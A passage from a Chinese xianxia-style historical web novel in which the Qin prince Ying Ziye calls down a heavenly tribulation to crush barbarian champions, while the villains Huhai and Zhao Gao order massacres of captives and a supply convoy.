那些怨念鬼爪触碰到至阳至刚的紫雷,如同冰雪遇烈阳,发出凄厉的尖啸,瞬间消融蒸发。
“咯咯,公子好生威猛,看得奴家心儿乱跳呢……”
魅影舞姬赤足轻旋,银铃之声愈发急促惑人。
无数曼妙的幻影在赢子夜周围浮现,试图扰乱他的心神。
甚至有一道幻影竟直接贴向他身后,红唇微张,吐出一缕粉红色的诡异雾气。
赢子夜识海中紫雷轰鸣,守住灵台清明,对于那惑心幻术与毒雾视若无睹。
剑光一闪,一道凝练的紫色剑气如同瞬移般射向舞姬真身所在!
舞姬脸色微变,身形如同没有骨头般诡异一扭,险之又险地避开剑气!
但那剑气掠过时带起的雷霆余波,依旧让她气血一阵翻涌,眼中首次露出了凝重。
另外几名指玄强者的攻击也接踵而至——
毒火、飞针、风刃、地刺……
各种诡异的攻击方式从不可思议的角度袭来!
但赢子夜将紫雷的狂暴与速度发挥到了极致。
他时而如雷神降世,以力破巧,硬撼阿史那祜!
时而身化电光,在间不容发之际避开致命合击,剑出如龙,反击那些擅长诡异手段的敌人。
他以一敌十,竟丝毫不落下风!
紫雷所过之处,万物崩毁,那十位强者虽强,却一时之间竟奈何他不得。
战斗陷入了极其激烈的
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僵持!
每一次碰撞都引得天地元气**,轰鸣声传遍四野。
……
狼嚎谷口。
蒙恬与苏角率领的残军,已然如同烧红的尖刀,狠狠刺入了蛮军因谷外惊天之战而略显混乱的防线。
蒙恬机关左臂挥舞,如同不知疲倦的战斗机器!
每一次砸落都必然清空一小片区域!
苏角则状若疯魔,完全放弃了防御,只攻不守,以伤换命,硬生生杀开了一条血路!!!
他们能如此悍勇,除了求生的本能,更因为身后谷外那不断传来,宛若天崩地裂般的轰鸣!
与那耀眼的,代表着六公子的紫色雷光。
“殿下……殿下他……”
一名跟在蒙恬身后的校尉,一边奋力**,一边忍不住回头望向谷外那恐怖的战场,声音带着哭腔和无比的狂热。
“他在独自对抗那么多怪物啊!”
蒙恬一拳将一名蛮族千夫长轰飞,喘着粗气,同样望了一眼谷外。
即便以他的心境,此刻也是心潮澎湃,难以自已。
他原本以为殿下虽天赋异禀。
但终究年轻,需要历练。
可眼前这一幕,彻底颠覆了他的认知!
那引动九霄雷霆,以一身帝王气独战十大强敌的身影,哪里还需要什么历练?
其风采与实力,已直追帝国那些最顶尖的传说!!
“闭嘴!专心杀敌!”
蒙恬压下心中的震撼,怒吼道。
“不要辜负殿下为我们争取的机会!”
“杀出去!只有杀出去,才能不拖累殿下!”
苏角一刀劈翻一名敌兵,抹了把脸上的血污,嘶声大吼。
“蒙将军说得对!”
“都给老子打起精神!”
“殿下正在为我们血战,我们要是死在这里,到了九泉之下都没脸见殿下!”
“杀——!”
“杀!!!”
秦军残部的士气被彻底点燃!
他们红着眼睛,爆发出远超平时的战斗力,硬生生在数倍于己的蛮军包围圈上,撕开了一道越来越大的口子。
而谷外那雷霆与各色能量疯狂碰撞的毁灭景象,就如同最耀眼的光炬!
指引着他们突围的方向。
也如同最沉重的战鼓,敲击着他们每一个人的心脏。
第377章 他来了他来了,他顶着天罚走来了
戈壁滩上的战斗已臻白热化。
紫雷纵横,各色能量疯狂对撞,将大地撕裂得千疮百孔!!
赢子夜虽凭借紫雷之威与精妙剑法,以一敌十不落下风,甚至屡屡反击伤敌。
但那十位强者毕竟非同小可,彼此配合默契,各展奇能!
一时间竟也形成了僵持之局。
兀突骨在中军大帐处,越看越是心惊,更是焦躁。
他本以为集合十位顶尖强者之力,拿下赢子夜应是手到擒来。
却没想到此人竟如此难缠,那诡异的紫色雷霆不仅威力巨大,更似乎蕴含着某种克制他们蛮族**的奇异力量。
时间拖得越久,变数越大!
“不能再拖了!全力出手,耗也要耗死他!”
阿史那祜发出狂暴的怒吼,周身气血如同狼烟般冲天而起,攻势再添三分疯狂!
巨刀挥舞,刀罡化作实质的黄色巨**,咆哮撕咬!
其他强者也纷纷咬牙,将压箱底的手段都使了出来。
噬魂萨满口中念念有词,骷髅法杖顶端那颗不知名兽骨眼眶中冒出幽幽绿火,一股更加阴冷蚀魂的力量弥漫开来。
魅影舞姬的银铃之声变得尖锐刺耳,幻象层层叠叠,几乎要以假乱真。
压力骤增!
赢子夜周身的紫雷光晕在连绵不绝的猛攻下,开始微微荡漾,他玄衣之上的破损也多了几处,一丝血迹从嘴角渗出。
他眼神冰冷,心中清明!
如此缠斗下去,即便能勉强支撑,也绝非长久之计。
蒙恬和苏角那边还在苦战,必须尽快打破僵局!
一个疯狂的念头,在他心中骤然闪过。
既然常规手段难以速胜,那便……行非常之事!
他猛地一剑荡开一位强者的重拳,借力向后飘退数十丈,暂时脱离了战团中心。
在十位强者惊疑不定的目光中,他竟缓缓闭上了双眼,手中定秦剑竖于身前!
周身原本狂暴外放的紫雷,开始以一种玄奥的轨迹向内收敛、压缩!!
“他在干什么?”
冰原血侏儒中的弟弟尖声叫道,眼中闪过一丝不安。
“故弄玄虚!杀了他!”
阿史那祜虽觉有异,但杀心已炽,不愿多想,再次揉身扑上!
然而,就在他身形刚动的刹那——
赢子夜猛然睁开了双眼!
那双眸之中,不再是人类的瞳孔,而是化为了两团跳跃燃烧的紫色雷球!
一股远比之前更加浩瀚,更加古老威严,仿佛源自天地本源的气息,从他体内轰然爆发!
他不再压制自己一直刻意收敛的,属于修仙者的真正境界壁垒!
他要在此地,临场突破!
“嗡——!”
天地间,仿佛有一根无形的弦被拨动了!!
原本只是因战斗而紊乱的天地元气,此刻如同沸腾的开水般剧烈翻滚起来!
以赢子夜为中心,方圆数里的天空,以肉眼可见的速度阴沉下来!
厚重的仿佛蕴含着毁灭意志的乌云,从四面八方疯狂汇聚,低低地压了下来。
云层之中,无数道粗如儿臂的银色电蛇疯狂窜动,发出令人头皮发麻的噼啪声响!
一股无法形容,让所有生灵从灵魂深处感到战栗的威压,如同整个天空都要塌陷下来一般,笼罩了这片戈壁!
“这……这是什么?!”
正准备冲杀的众强者硬生生止住了脚步,抬头望天,脸上第一次露出了惊骇欲绝的神色!
他们经历过无数血战,见识过各种强大的武者和萨满法术,但何曾见过如此宛若**的恐怖景象?!
这根本不是人力所能及!
噬魂萨满手中的骷髅法杖剧烈颤抖起来,那幽幽绿火明灭不定!
他嘶声尖叫,声音充满了前所未有的恐惧。
“天威!这是真正的天威!他在引动天罚?!”
“这不可能!凡人怎能引动天罚?!”
魅影舞姬脸上的媚笑早已消失无踪,取而代之的是极致的苍白与恐惧!
她腕间的银铃不再发出惑人之音,反而在那天威之下瑟瑟发抖,发出哀鸣般的细微颤响。
阿史那祜那岩石般的脸庞也剧烈抽搐起来。
他感受到一股来自生命层次的绝对压制!
那乌云中蕴含的力量,让他这具引以为傲的强横肉身都感到了即将崩解的危机!
其他几位指玄强者更是面无人色,浑身僵硬,连移动一步都变得无比困难!
他们不懂修仙,不知天劫为何物。
在他们看来,这毁天灭地的景象,就是传说中神明降下的惩罚!
而这一切,竟然是那个秦人公子引来的?!
“轰咔——!!!”
第一道天雷,终于撕裂了厚重的乌云,带着审判万物的煌煌神威,如同一条咆哮的银色巨龙!
并非劈向赢子夜,而是径直朝着离他最近,气息最为狂暴的近战强者阿史那祜,当头轰下!
“不——!”
阿史那祜怒吼着举起巨刀格挡!
“嘭——!”
银光炸裂!
巨刀连同他半个身子都在雷光中化为飞灰!
而剩下半截身子在与天雷接触的瞬间,便皮开肉绽,焦黑一片!
他庞大的身躯如同被巨锤砸中,一口蕴含着内脏碎块的鲜血狂喷而出!
仅仅一击,这位天象境的西域磐石,便已遭受重创!
而这,仅仅是开始!
天道法则锁定之下,任何敢于干扰渡劫者,皆被视为对天威的挑衅!
“轰!轰!轰!”
一道道更加粗壮,更加狂暴的银色天雷,如同长了眼睛一般,从翻涌的雷云中接连劈落!
它们无视了站在中心,似乎正在承受某种蜕变的赢子夜。
而是精准无比地轰向了那九位早已吓破胆的异族强者!
“啊!”
“饶命!”
“不——!”
惨叫声此起彼伏!
天劫之雷,至阳至刚,专克一切阴邪、污秽、以及……外道!
噬魂萨满的怨灵
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法术在天雷下如同泡沫般消散,他本人被一道雷光劈中,瞬间化作一具焦黑的骷髅!
魅影舞姬的幻术在天威面前毫无作用,被雷光淹没,香消玉殒!
冰原血侏儒、释放毒火的强者、操控风刃的指玄……
无一例外,在天劫无差别的恐怖轰击下,如同烈日下的冰雪,迅速消融、崩解!
戈壁滩上,银蛇乱舞,雷声震天!
原本气势汹汹的十位顶尖强者,此刻却在天威之下,上演着一场绝望的死亡之舞!
而处于雷劫中心的赢子夜,虽也承受着天道洗礼的莫大痛苦,周身紫雷与银色天劫不断交织、碰撞,但他的眼神却无比坚定与清明。
借天劫之力,铲除强敌!
此乃……破局之法!
……
狼嚎谷内外。
无论是正在拼死突围的秦军,还是疯狂阻截的蛮军,此刻都陷入了一种诡异的停滞。
所有人的动作都僵住了。
嘴巴无意识地张开。
眼睛瞪得如同铜铃。
齐刷刷地望向谷外那片已然化为银色雷狱的戈壁滩。
他们看到了什么?
那位如同雷神降世般的六公子,非但没有在那毁天灭地的“天罚”中灰飞烟灭,反而……
反而像是得到了什么加持?
他周身依旧缠绕着紫电。
而天空那些恐怖无比的银色雷龙,在将之前那十个凶神恶煞般的强者挨个劈成焦炭飞灰后,竟似乎……
对他视而不见了?
不,不是视而不见!
仔细看去,仍有细密的银雷不断落在赢子夜身上。
与他自身的紫雷交融、碰撞。
仿佛在进行着某种淬炼。
但他却行动自如,甚至……他的目光,越过了那片雷狱,如同两道冰冷的闪电,径直射向了蛮军主力大营的核心——
那杆狰狞的狼头大纛之下的中军王帐!
下一刻,让所有人下巴都快掉下来的事情发生了。
赢子夜动了!
他不再理会头顶依旧轰鸣,却似乎已对他“网开一面”的雷云。
身形化作一道紫电银光交织的残影,竟径直朝着兀突骨所在的王帐方向,疾冲而去!
他每一步踏出,脚下都有雷光炸响,速度奇快无比!
而他所过之处,头顶那片厚重的,依旧在咆哮翻滚的劫云,竟也……也随之移动!
无数道游离,细碎的银色电蛇,如同忠实的护卫。
又像是甩动的鞭挞,随着他的移动,在他途经的路径上肆意泼洒!
“轰咔!”
一道偏离主雷劫的细小分支,劈在了一队试图阻拦的蛮族骑兵中间。
“嘭!”
人仰马翻,连人带马瞬间焦黑冒烟。
“嗤啦——!”
又一道电蛇扫过一座箭塔!
箭塔顶端瞬间起火,上面的蛮族弓手惨叫着变成火人坠落。
赢子夜,此刻就仿佛一个人形自走的引雷针!
还是自带精准导航和范围伤害的那种!
第378章 你跑他追,他插翅难飞!
中军王帐前。
刚刚因谷外那惊天逆转而惊得魂飞魄散,还没来得及做出反应的碎颅王兀突骨。
眼睁睁看着那道紫银交织的身影,顶着漫天雷光,以一种匪夷所思的速度,笔直地朝着自己冲来!
尤其是看到赢子夜头顶那片如同跗骨之蛆般紧随其后的厚重劫云。
以及云层中不断劈落,将他沿途一切阻碍都化为焦炭的银色闪电时。
兀突骨那张粗犷狰狞的脸,瞬间失去了所有血色,变得惨白如纸!
“他……他过来了!他顶着天罚过来了!”
一名亲兵发出见了鬼般的尖叫,声音都变了调。
兀突骨脑子里一片空白。
这完全超出了他的理解范畴!
人怎么可能引动天罚?
引动了天罚怎么可能不死?
不死也就算了,怎么还能顶着天罚到处跑?!
这秦人公子到底是什么怪物?!
眼看着那道雷光身影越来越近。
甚至能看清对方那冰冷锁定自己的眼神。
一股源自灵魂深处,对未知与天威的极致恐惧,瞬间淹没了兀突骨所有的勇武和凶悍!
“拦住他!快给本王拦住他!”
兀突骨声音嘶哑变形,几乎是手脚并用地从王座上跳起来,也顾不得什么王者威严了,转身就往王帐后方跑去!
他现在只有一个念头——
离那个行走的天灾远点!
然而,他跑,赢子夜就追!
赢子夜根本不需要出手。
他只需要朝着兀突骨的方向直线冲刺!
头顶的劫云就如同最尽职尽责的清道夫,银色的雷罚如同雨点般,精准地清扫着一切试图靠近赢子夜,或者不幸位于他前进路线上的蛮族士兵和营帐设施。
“轰隆!”
一座堆放兵器的营帐被雷光引燃,**开来,碎片四射。
“噼里啪啦!”
一队试图结阵的重步兵,连盾牌带人被电蛇扫过,浑身抽搐着倒地。
“啊!”
一名蛮族千夫长刚举起弯刀,就被一道格外粗壮的分支雷劫当头劈中,瞬间化作焦炭,保持着举刀的姿势僵立原地,冒着青烟。
兀突骨拼命狂奔。
他跑到哪里,赢子夜就追到哪里,雷劫就劈到哪里!
整个蛮军中军大营,以肉眼可见的速度,陷入了一片雷光火海,鬼哭狼嚎的混乱之中!
“你别过来啊!”
兀突骨回头看了一眼紧追不舍,所过之处尽成焦土的赢子夜,发出了绝望的哀嚎。
脚下一个踉跄,差点摔倒。
他此刻狼狈得像一只被猎鹰追逐的兔子,哪还有半点草原王者的威风?
赢子夜面色冷峻,眼神却带着一丝掌控全局的冰冷戏谑。
他并不急于立刻追上兀突骨,反而像是猫捉老鼠一般,不紧不慢地吊在后面。
确保劫云的净化范围能够覆盖尽可能多的蛮军核心区域。
他所过之处。
王帐、旌旗、粮草囤积点,将领营帐……
一切象征着指挥和后勤的重要设施,都在煌煌天雷之下,化为焦炭与废墟!
……
狼嚎谷口。
原本正在惨烈厮杀的双方,此刻都忘了动作。
秦军将士们目瞪口呆地看着自家殿下,如同遛狗一般,追得那不可一世的蛮族大王抱头鼠窜,所向披靡。
一路火花带闪电。
将偌大的蛮军中军搅得天翻地覆,一片狼藉。
不知是哪个年轻的士兵,忍不住“噗嗤”一声笑了出来。
虽然立刻憋住,但那笑意却如同传染一般,在劫后余生的秦军队伍中悄然蔓延。
一种荒诞、解气又无比自豪的情绪,取代了之前的悲壮与绝望。
蒙恬和苏角对视一眼,都从对方眼中看到了无比的震撼和一丝难以言喻的莞尔。
他们这位殿下,总能以这种出人意料的方式,扭转战局。
“还愣着干什么!”
蒙恬率先反应过来,压下心中的古怪感,举起机关臂怒吼!
“蛮军已乱!随我杀出去,接应殿下!”
“杀——!”
这一次,秦军的冲锋,带着一股难以言说的轻松与畅快!
而蛮军,则因中军被那“行走的天灾”搅得崩溃,主帅不知所踪,士气彻底跌入谷底,防线瞬间土崩瓦解!
赢子夜依旧在追杀着兀突骨!
所过之处,雷罚洗地,一片焦土。
……
许久。
当最后一道粗壮的银色天雷,带着仿佛要涤荡世间一切污秽的煌煌神威,将蛮军中军大营最后一座尚且矗立的瞭望塔也劈成燃烧的焦炭木桩后。
天空中那厚重如墨,翻滚咆哮了许久的劫云,终于开始缓缓消散。
肆虐的雷光渐渐隐去。
震耳欲聋的轰鸣声也归于沉寂。
只留下戈壁滩上弥漫的浓烈臭氧味、焦糊味以及……
死一般的寂静。
所有人的目光,都聚焦在那片已然化为焦黑炼狱的蛮军大营中央,那道唯一站立着的身影之上。
赢子夜周身的紫色雷光已然内敛,但一种更加深邃,更加浩瀚的气息,却如同无形的潮汐,以他为中心缓缓扩散开来。
他成功渡过了天劫。
境界得以突破,踏入了一个全新的层次。
然而,强行引劫,临场突破,更是以天劫之力横扫强敌,摧毁敌营。
这其中消耗的心神与力量,堪称恐怖!
此刻,劫后余生的虚弱感如同潮水般席卷而来。
他的脸色苍白如纸,身形微微晃动了一下,仿佛随时都会倒下。
那袭玄衣也早已破损不堪,沾满了尘土与焦痕,甚至还有几处被雷劫边缘擦过的灼伤。
他以剑拄地,才勉强稳住了身形,呼吸变得沉重而急促。
然而,他依旧挺直着脊梁。
那双深邃的眼眸,尽管带着难以掩饰的疲惫,却依旧明亮如星,冷冷地扫视着周围一片死寂的焦土,以及远处那些如同被施了定身法般的蛮族残兵。
“殿下!”
狼嚎谷口,不知是哪个秦军士卒率先反应过来,发出了一声带着哭腔却又无比狂热的嘶吼!
这一声嘶吼,如同投入平静湖面的巨石,瞬间打破了那令人窒息的死寂!
所有秦军将士,从蒙恬、苏角这样的高级将领,到最普通的士卒,都猛地倒吸了一口凉气!
他们亲眼目睹了那宛若神迹的一幕。
亲眼看到了自家殿下如何引动九霄神雷,将十位不可一世的异族强者劈得灰飞烟灭。
又如何追得蛮族大王兀突骨如同丧家之犬般狼狈逃窜。
如何以一人之力,将整个蛮军中军大营化为焦炭废墟!
那是一种超越了他们对“力
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量”认知极限的景象!
是足以烙印在灵魂深处,永生永世无法磨灭的震撼与敬畏!
而此刻,看到殿下虽然虚弱,却依旧如同山岳般屹立不倒。
一种难以言喻,混合着无上崇敬、狂热信仰以及破釜沉舟般勇气的情绪,如同火山般在每一个秦军将士的胸膛中轰然爆发!
“殿下神威!!!”
“大秦万胜!!!”
山呼海啸般的咆哮,如同积蓄了千万年的熔岩,猛地冲破了地壳,震动了整个狼嚎谷,甚至传遍了这片焦黑的戈壁!
每一个秦军士卒的眼睛都红了。
他们挥舞着手中残破的兵刃,状若疯魔!
之前的疲惫、伤痛、绝望,在这一刻,被那无与伦比的士气彻底碾碎、蒸发!
蒙恬强忍着激动得几乎要颤抖的身体,用那条机关左臂高高举起,用尽全身力气,发出了撕裂苍穹的怒吼。
“将士们!殿下已为我们扫平强敌,摧毁敌酋!”
“蛮军已溃!随我——冲锋!!!”
“碾碎他们!!为殿下——杀——!!!”
“杀——!!!”
不再是为了求生而突围,而是为了荣耀而冲锋!
为了追随那道如同神明般的身影而冲锋!
残存的秦军,如同被注入了龙魂虎魄,爆发出了远超平时的恐怖战斗力!
他们不再结阵,不再防守。
而是化作了一股股毁灭性的钢铁洪流。
以排山倒海之势,向着那些早已被天威吓破胆,又被中军覆灭消息彻底击垮斗志的蛮军残部,发起了碾压式的冲锋!
兵败如山倒!
残存的蛮军士兵们看着那片焦黑的,象征着他们权力与力量核心的中军营地。
看着那个虽然虚弱却如同梦魇般矗立在那里的玄色身影。
再听着秦军那如同来自九幽炼狱的疯狂喊杀声。
最后一丝抵抗的意志也彻底崩溃了!
“跑啊!”
“大王**!中军没了!”
“他们是魔鬼!是雷神!快逃!”
哭喊声、哀嚎声取代了战吼,蛮军彻底陷入了大溃败!
他们丢盔弃甲,如同无头的苍蝇,只想远离这片被雷霆诅咒的土地,远离那个如同行走天灾的秦人公子!
秦军铁骑纵横驰骋,步卒奋勇**,如同砍瓜切菜一般,收割着溃逃的敌人。
战场,彻底变成了一场单方面的**与追击!
苏角一刀将一个试图反抗的蛮族百夫长劈成两半。
看着眼前兵败如山倒的景象,忍不住畅快淋漓地大笑起来。
笑着笑着,虎目之中却涌出了滚烫的热泪!
绝处逢生,绝境翻盘!
这一切,都是那位殿下带来的!
他抹了把脸,混合着血水与泪水,嘶声大吼。
“不要放跑一个蛮子!给老子杀!!!”
震天的喊杀声与蛮军的溃逃哀嚎,交织成了一曲北疆战场上最激昂也最残酷的秦风曲。
而在那片焦土的中心,赢子夜缓缓盘膝坐下,开始调息,恢复着几乎枯竭的元气。
他脸色依旧苍白,但嘴角,却微微勾起了一抹如释重负的弧度。
尽管虚弱。
但他一人一剑,引动天威。
已然彻底扭转了这北疆一角的战局!
其威,其势!已深深烙印在每一个幸存者的心中。
第379章 胡亥,终于露出了他狰狞面目!
雕阴城。
残破的城墙尚未完全修复。
空气中依旧弥漫着淡淡的血腥与焦糊气息。
城头之上,已然换上了大秦的玄鸟旗帜。
胡亥一身戎装,并未佩戴过多华饰,却自有一股令人心悸的阴冷气质。
他负手立于城楼,俯瞰着城外那片刚刚经历了一场“清洗”的战场。
数千名被俘的戎族士兵,此刻正被秦军驱赶着,集中在城下的一片空地上。
他们大多身上带伤,眼神中充满了恐惧与茫然,手中的兵器早已被收缴。
几名看似头领模样的人,正用生硬的秦语混杂着戎族土语,声嘶力竭地哭喊着,表示愿意投降,愿为大秦效犬马之劳!
一名负责受降的秦军都尉快步登上城楼,来到胡亥身后,躬身禀报。
“公子,城外戎族残部已尽数缴械,其首领表示愿降,听候公子发落。”
胡亥缓缓转过身,脸上没有任何表情,唯有那双狭长的眼眸中,掠过一丝如同毒蛇般冰冷的寒光。
他并未看向那名都尉,目光依旧落在城下那些如同待宰羔羊般的俘虏身上。
“愿降?”
胡亥轻轻重复了一遍这两个字,嘴角勾起一抹毫无温度的弧度,声音不大,却清晰地传遍了城头。
“本公子……准了。”
那都尉闻言,心中一松,正要领命下去安排。
然而,胡亥接下来的话,却让他瞬间如坠冰窟!
“传令。”
胡亥的声音平淡得令人发毛。
“将这些降卒,全部坑杀,一个不留。”
“就用他们的尸体,填平城外的壕沟,以儆效尤。”
“什……什么?!”
那都尉猛地抬起头,脸上写满了难以置信的惊骇。
“公子!他们……他们已经投降了啊!按照惯例,我军应……”
“惯例?”
胡亥猛地打断他,眼神如同两把冰锥,刺入那都尉的心底。
“在本公子这里,没有惯例!只有军令!”
他向前踏出一步,逼视着那脸色惨白的都尉,语气带着一种不容置疑的残忍。
“这些蛮夷,反复无常,今日降我,明日便可复叛!”
“留着他们,浪费粮食,更是隐患!”
“唯有斩草除根,方能永绝后患!”
“你,是在质疑本公子的决定吗?!”
那都尉**亥那森然的目光看得浑身发冷,冷汗瞬间浸透了后背。
他噗通一声跪倒在地,声音颤抖。
“末……末将不敢!末将这就去办!”
命令被迅速而冷酷地执行了下去。
城下,原本还抱有一丝生还希望的戎族降卒,在听到秦军将领宣读的“坑杀”命令后,顿时爆发出了绝望的哭嚎、咒骂和挣扎!!
然而,一切反抗在冰冷的刀锋和有序的**面前都是徒劳!
惨叫、求饶、泥土掩埋声……
胡亥就站在城楼上,面无表情地看着这一切,仿佛在欣赏一场与己无关的戏剧。
他甚至微微眯起了眼睛,似乎很享受这种掌控他人生死,令行禁止的感觉。
待城下的哭嚎声渐渐微弱,最终归于死寂,只剩下秦军士卒沉默填土的身影时,胡亥才缓缓转过身,看向摊在城楼桌案上的北疆地图。
他的手指,落在了无定河流域另一处尚被戎族小股势力占据的关隘——
黑石口。
此地扼守通往北地郡的另一条重要官道,必须尽快打通。
“传先锋将李徳。”
胡亥冷声道。
很快,一名身材魁梧,面带风霜之色的将领快步登上城楼!
他是胡亥从自己麾下狼族骑兵和秦军中挑选出来的悍将,以勇猛和执行力强著称。
“末将李德,参见公子!”
胡亥没有废话,手指重重地点在地图的“黑石口”上,语气斩钉截铁,带着一股令人窒息的压迫感。
“李德,本公子给你五千精锐,限你一日之内,攻破黑石口,打通官道!”
李德闻言,心中一惊!
黑石口地势险要,敌军虽不多,但据险而守,一日之内攻破,谈何容易?
他下意识地就想陈述困难。
“公子,黑石口易守难攻,一日时间恐怕……”
“恐怕什么?”
胡亥猛地抬眼,目光如同噬人的野兽,死死盯住李德。
“没有恐怕!本公子只要结果!”
他身体微微前倾,声音压低,却带着一股血腥的杀气,一字一句地说道:“李德,你给本公子听清楚了。”
“明日此时,若黑石口的秦字旗还没有插上关墙……”
胡亥顿了顿,手指猛地敲在桌案上,发出沉闷的声响,语气森然如冰。
“本公子就用你的脑袋,祭旗!!!”
李德浑身剧震,脸色瞬间变得煞白!
他感受到了胡亥话语中那绝非戏言的狠辣与决绝!
这位公子,对敌人狠,对自己人,同样毫不留情!
所有的解释和困难,在死亡的威胁面前都显得苍白无力。
李德猛地一抱拳,因为用力过猛,指节都微微发青,他嘶声吼道:“末将……领命!”
“若不能破关,末将提头来见!”
“去吧。”
胡亥挥了挥手,仿佛只是下达了一个无关紧要的命令。
李德不再多言,转身大步流星地冲下城楼,立刻去点齐兵马,准备发动一场不计代价的强攻。
胡亥看着李德离去的背影,脸上露出一丝残酷的满意神色。
他需要的就是这种绝对的服从和效率!
慈不掌兵?
在他看来,唯有极致的恐惧和高压,才能催生出最强的战斗力!!
至于伤亡?
那不过是达成目的的必要代价罢了。
他转身,再次望向北方,那里是北地郡的方向,也是六哥所在的方向。
他的眼神深处,闪烁着野心与冰冷交织的火焰。
“六哥,这北疆,终究要看谁的手段更狠,谁的拳头更硬!”
……
残破的北地郡城头。
寒风卷着未散尽的硝烟气息,掠过赢子夜玄色的衣袍。
他静立在那里,目光沉静地扫过城外正在有序集结的秦军将士。
经历狼嚎谷外那场惊天动地,引动天罚的战斗,以及随后对蛮军溃兵的追击扫荡。
这支军队虽然疲惫。
但眼神中,却燃烧着一种前所未有的锐利与狂热!
那是对绝对力量的敬畏,也是对带领他们创造奇迹的统帅的无条件信服。<
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br>少司命悄然来到他身侧,将一件厚实的披风轻轻披在他肩上,柔声道:“夫君,军中事务已安排妥当,各部伤亡、缴获均已清点完毕。”
“你……也该休息一下了。”
她看着赢子夜依旧有些苍白的侧脸,眼中难掩心疼。
强行引劫破敌,虽扭转乾坤,但对自身的消耗亦是巨大!
赢子夜微微摇头,握住她微凉的手,目光依旧投向远方广袤而苍凉的地平线。
“无妨,根基未损,毕竟我是在突破境界,调息几日便可恢复。”
他语气平静,却带着不容置疑的决断。
“蛮军主力虽遭重创,但其根基尚在,散落各处的部落骑兵仍是隐患。”
“我们不能给他们喘息之机!”
他转过身,看向肃立一旁的蒙恬、苏角以及几位核心将领。
蒙恬的机关左臂在昏暗天光下泛着冷硬光泽,苏角身上缠着厚厚的绷带,但两人的眼神同样坚定。
“蒙将军,苏将军。”
赢子夜开口,声音清晰地传入每个人耳中。
“我军虽胜,然北疆疮痍,百废待兴。”
“蛮寇据点多处,劫掠乡里,断我脉络,不可久拖。”
他走到临时搭建的粗糙沙盘前,手指精准地点向几个被标记为戎狄活动频繁的区域。
“野马原”、“秃鹫涧”、“黑水泽”。
这些地方并非战略大城,却是蛮族许多中小部落的后方栖息地,也是他们实施“以点连片”战术,骚扰秦军后方,切断补给线的支撑点。
“敌军新败,士气低迷,其后方部族必然空虚,正宜以雷霆之势,犁庭扫穴!”
赢子夜眼中闪过一丝冷冽的寒芒。
“我意,大军即刻分兵,以万人为队,精骑辅以轻锐步卒,由诸位将军分别统领,奇袭野马原、秃鹫涧、黑水泽等地!”
他目光扫过众将,语气斩钉截铁。
“记住,此战不为攻城略地,旨在摧毁其部族根基,焚其草场,夺其牛羊,驱散其民!”
“要让这些依附匈奴,屡犯边境的蛮夷付出代价!”
“使其再无能力袭扰我边境,无法支撑前线战事!”
“行动务必迅猛、果决,一击即走,不可恋战!!”
“末将领命!”
蒙恬率先抱拳,机关手臂发出沉闷的摩擦声,他声音沉稳如铁。
“殿下放心,末将定将野马原搅个天翻地覆,叫那些蛮崽子再无巢穴可依!”
苏角忍着伤痛,挺直身躯,嘶声道。
“殿下!秃鹫涧就交给末将!”
“就算爬,末将也爬过去,把他们的老窝端了!”
其他几位将领也纷纷怒吼应和,战意高昂!
他们刚刚经历了绝境翻盘,亲眼见证了神迹,此刻对赢子夜的命令没有丝毫犹豫,只有狂热的执行欲。
“善!”
赢子夜颔首,随即语气微沉。
“此间战事,便托付诸位。”
“缴获物资,可分与将士,以励军心。”
“但需谨记,不得滥杀归顺部族,不得欺凌妇孺,我要的是惩戒,而非灭绝。”
“大秦要的是臣服与秩序,而非一片焦土与死地!”
“谨遵殿下教诲!”
众将凛然应命。
第380章 这个人情,不如卖给六公子!
当赢子夜将一切安排妥当后,目光不禁转向少司命和一直静立阴影处的赵弋苍。
“北地经此连番大战,城防残破,民心浮动,需尽快稳定。”
“且胡亥那边……”
他顿了顿,眼中闪过一丝不易察觉的深邃。
“粮道虽通,但其人其行,不可不察。”
他看向少司命,语气温和却郑重。
“夫人,你心思缜密,善于协调。”
“便与焰灵、阿雪、蓉儿,以及田言姑娘等人统筹防务,安抚百姓,协调与胡亥所部联络之事。”
“若有急事,可凭此令调动暗河留守人员。”
他递过一枚造型古朴的玄铁令牌。
少司命接过令牌,握在掌心,感受到那冰冷的质感,她抬起清亮的眼眸,坚定道:“夫君放心。”
赢子夜又对赵弋苍吩咐道:“派出暗河精锐,一半随各路奇袭大军行动,负责侦察、引导与特种作战。”
“另一半,由你亲自挑选最可靠之人,散入北地郡及周边,我要知道所有风吹草动,尤其是……匈奴那边的详细动向。”
赵弋苍身影自阴影中微微浮现,抱拳躬身,声音低沉而充满力量!
“卑职明白!主上安危与北地郡机密,皆系于一身,绝不敢有失!”
一切安排就绪。
城外各部秦军已按照指令,如同数支利箭,在各自将领的率领下,带着凛冽的杀气。
朝着“野马原”、“秃鹫涧”、“黑水泽”等目标疾驰而去。
卷起漫天烟尘!
……
大月氏王庭深处。
一间密不透风的石室内。
仅有的光源来自墙壁上几盏摇曳的牛油灯,将赵高那张白皙却阴鸷的脸映照得半明半暗。
他端坐在一张铺着粗糙兽皮的椅子上,指尖无意识地敲击着扶手,发出规律的轻响。
在这寂静的房间里显得格外清晰!
空气中弥漫着西域特有的浓郁香料气味。
却压不住那股子从赵高骨子里透出来,如同毒蛇蛰伏般的阴冷。
一道模糊的身影如同鬼魅般悄无声息地出现在石室中央,单膝跪地,全身笼罩在漆黑的夜行衣中。
正是罗网的一名天字级**。
他的声音低沉而沙哑,不带丝毫感情。
“启禀大人,蒙犽所部后方补给线的确切路线与守卫部署,已探查清楚。”
“其粮草辎重,明日拂晓前将经过‘流沙隘’,此地两侧沙丘利于隐蔽,乃是绝佳的动手地点。”
赵高敲击扶手的动作骤然停止!
他缓缓抬起眼皮,细长的眼睛里闪过一丝毒蛇吐信般的寒光。
嘴角勾起一抹极其细微,却令人不寒而栗的弧度。
“哦?流沙隘……”
他轻声重复着这个名字,语气里带着一种猫捉老鼠般的玩味。
“蒙犽那个黄口小儿,在前线倒是打得风生水起,却不知他的命脉,已攥在了我手里。”
他微微前倾身体,灯光在他脸上投下更深的阴影!
“告诉动手的人,不必留情,也不必顾忌动静。”
“我要的,是彻彻底底的毁灭!”
“粮草,能烧则烧,不能烧,便用毒,用腐,一粒米都不能留给秦军!”
“押运的民夫、护卫…一个活口都不留!!”
他的声音依旧平稳,甚至带着一丝奇异的柔和,但话语内容却残忍得令人齿冷。
“要让蒙犽和他的十几万大军,在前线变成无水之鱼,无根之木!”
“让他也尝尝,什么叫叫天天不应,叫地地不灵!”
“属下明白!”
“今夜子时,便是秦军补给线的死期!”
